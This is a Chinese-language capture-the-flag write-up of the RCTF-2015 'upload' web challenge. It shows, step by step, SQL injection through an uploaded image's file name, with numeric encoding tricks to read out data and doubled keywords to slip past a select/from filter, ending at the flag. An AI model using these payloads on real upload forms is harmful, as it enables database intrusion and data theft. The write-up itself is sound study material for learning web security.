XCTF WEB upload(RCTF-2015)

XCTF WEB upload(RCTF-2015)

兩百多天未解決的問題了,,,,
打開題目,發現需要登錄註冊,,註冊登陸之後需要我們進行文件上傳:
在這裏插入圖片描述
估摸着登錄頁面與註冊頁面沒有漏洞,,,,,畢竟題目提示就是讓我們上傳,,
上傳的套路都試過,只能上傳jpg圖片,,,,其他一律不行,,,而且不知道路徑爲多少,,,
在這裏插入圖片描述
jpg圖片上傳成功之後有個提示:
在這裏插入圖片描述
奇怪的uid,,,,,數據庫編號之類的,,,上傳文件會在頁面進行顯示,,
懷疑圖片會存放到數據庫中,,圖片名可能存在sql注入,,,
上傳一個1'.jpg的圖片發現頁面中沒有任何顯示,,,可能是由於sql語句報錯引起的!
後端可能的數據庫插入語句爲

INSERT INTO `xxx`(`id`, `name`) VALUES ('id號','圖片名')

自己利用數據庫進行測試,發現圖片名爲'+database()+'.jpg時,數據庫中得到的結果是0,,,,
重新構造'+hex(database())+'.jpg時,數據庫中存放的纔是16進制的數字,,,
在這裏插入圖片描述
構造'+hex(database())+'.jpg進行上傳,得到頁面回顯:7765625
能轉化爲web,,,有不有後面的5都能轉化爲web,不應該,,,後面可能有缺少
再通過conv函數將16進制轉化爲10進制進行輸出,,'+(conv(hex(database()),16,10))+'.jpg
在這裏插入圖片描述
可能數太長使用了科學計數法進行表示,,重新構造,利用mid函數進行分割:

'+(conv(mid(hex(database()),1,12),16,10))+'.jpg

發現提示SQL注入,,,
在這裏插入圖片描述
換成substr函數:

'+(conv(substr(hex(database()),1,12),16,10))+'.jpg

回顯:131277325825392
轉化之後得到了字符串:“web_up”
繼續:

'+(conv(substr(hex(database()),13,12),16,10))+'.jpg

回顯:1819238756
轉化之後得到字符串:“load”
ok,考試構造sql語句進行爆表:

'+(conv(substr(hex((select table_name from information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

發現過濾了select,,還有from,,,
在這裏插入圖片描述
嘗試進行雙寫繞過:

'+(conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

成功繞過,得到回顯:114784820031327
得到字符串:“hello_”
繼續得到回顯:112615676665705
得到字符串:“flag_i”
繼續得到回顯:126853610566245
得到字符串:“s_here”
ok,得到表名:hello_flag_is_here
繼續爆列名:

'+(conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

繼續得到回顯:115858377367398
得到字符串:“i_am_f”
繼續得到回顯:7102823
得到字符串:“lag”
得到列名:i_am_flag
接下來最後一步,爆值:

'+(conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

繼續得到回顯:36427215695199
得到字符串:“!!_@m_”
繼續得到回顯:92806431727430
得到字符串:“Th.e_F”
繼續得到回顯:560750951
得到字符串:“!lag”
得到flag值:!!_@m_Th.e_F!lag

一路的坎坷,考察點是sql注入,但是不知道考察點在何處就怎麼做也做不出來,,,,
而且過程也有點難頂,沒有耐心的估計也堅持不下去,

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章